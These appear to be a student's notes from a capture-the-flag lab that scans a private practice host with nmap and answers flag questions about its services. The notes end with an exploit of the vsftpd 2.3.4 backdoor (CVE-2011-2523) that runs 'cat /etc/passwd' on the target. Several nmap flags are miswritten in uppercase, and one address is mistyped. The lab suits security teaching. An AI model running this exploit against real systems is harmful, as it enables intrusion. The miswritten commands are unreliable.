

Nmap Commands

System Hacking

↳ [Sigmaiota.uk/student-resources/scan-lab/](https://sigmaiota.uk/student-resources/scan-lab/)

i) Perform a Ping Scan on 192.168.56.0/24

```
$ nmap -sn 192.168.56.0/24
```

ii) Perform a SYN Scan (default ports) on 192.168.56.101

↳ SYN or stealth scan
* Scans default top 1000 TCP Ports

```
$ nmap -SS 192.168.56.101
```

iii) Perform SYN Scan of all ports (1-65535) on 192.168.56.101.

```
$ nmap -SS -p- 192.168.56.101
```

↳ all ports (1-65535):

- (iv) Perform a version scan on ports (1-100) of 192.168.56.101.

```
$ nmap -SV -p1-100 192.168.56.101
```

- (v) Perform a OS scan of 192.168.56.101

```
$ nmap -O 192.168.56.101.
```

Round 2 - Flag Capture Challenges

- (i) What version of VSftpd is running on port 21?

VSftpd → Very Secure FTP daemon.

File transfer protocol background service.
Serves proles/Service.

```
$ nmap -SV -p21 192.168.56.101
```

⇒ VSftpd 2.3.4

- (ii) What is the ~~version~~ exact SSH banner on port 22?

```
$ nmap -SV -p22 192.168.56.101
```

```
$ openSSH 4.7 pi Debian subunited
```

- (iii) What is the OS details string from OS detection?

```
$ nmap -O 192.168.58.101.
```

```
$ Linux 2.6.9 - 2.6.33
```

(iv) what version of mysql is running?

```
$ nmap -SV -p 3306 192.168.56.101
```

↓
mysql \$ MySQL 5.0.51a-3ubuntu5

(v) what is the NetBIOS name of the host?

```
$ nmap -SC -p 139 192.168.56.101
```

(10A)

```
$ nmap -SC -A -p 139 192.168.56.101
```

-SC → Script Scan.

Runs useful enumerations, like

↳ SMB info.

↳ FTP banner

↳ HTTP titles

↳ SSH host keys

↳ NetBIOS details

-A → Aggressive Scan mode

Equivalent to enabling several features together.

↳ -SV, -O, -SC

NetBIOS → Network Basic Input/Output System.

Common ports → 137, 138, 139.

UDP

TCP

Round 3:- NSE Enumeration

Date: _____

i) what web application is found at /tikiwiki/?

```
$ nmap -SV --script=http-enum -p 80 192.168.56.101.
```

here: --script:-

tells Nmap to run NSE (Nmap Scripting Engine) Scripts.

- ↳ Searching for web applications
- ↳ detecting vulnerabilities.
- ↳ gathering SMB info
- ↳ brute force login
- ↳ DNS Enumeration.

The script http-enum is basically searching/enumerating common web directories and application on the target server.

look for /tikiwiki/: Tikiwiki

ii) what database management tool is exposed on port 80?

```
$ nmap -SV --script=http-enum -p 80 192.168.56.101.
```

/phpMyAdmin :- phpMyAdmin.

iii) what potentially sensitive PHP file is exposed?

```
$ nmap -SV --script=http-enum -p 80 192.168.56.101
```

(i) look for $\rightarrow$ /phpinfo.php/: Possible information file

(ii) Run an FTP anonymous login script against the target.

```
$ nmap --script=ftp-anon -p21 192.168.56.101
```

Round 4: Backdoor Exploitation

(i) Scan port 21 for vulnerabilities using the vuln category.

```
$ nmap --script vuln -p21 192.168.56.101
```

here: $--script vuln$

$\rightarrow$ Runs NSE scripts in the vulnerability category.

look for $\rightarrow$ Vulnerable:

(ii) What CVE identifier is associated with the vsftpd backdoor?

```
$ nmap --script vuln -p21 192.168.56.101
```

look for $\rightarrow$ IDs: CVE: CVE-2011-2523

(iii) Run the ftp-vsftpd-backdoor script without arguments.

\$ nmap --script ftp-vsftpd-backdoor
-p21 192.168.56.101

If vulnerable, the output will be:

Vulnerable:
vsftpd version 2.3.4 backdoor

(iv) Enumerate system users using
the backdoors to read /etc/passwd

\$ nmap --script ftp-vsftpd-backdoor
--script-args='exploit.cmd = cat
/etc/passwd' -p21 192.168.56.101

here:

(i) --script <Script name> --script-args
= <argument/key> = value

(ii) args → argument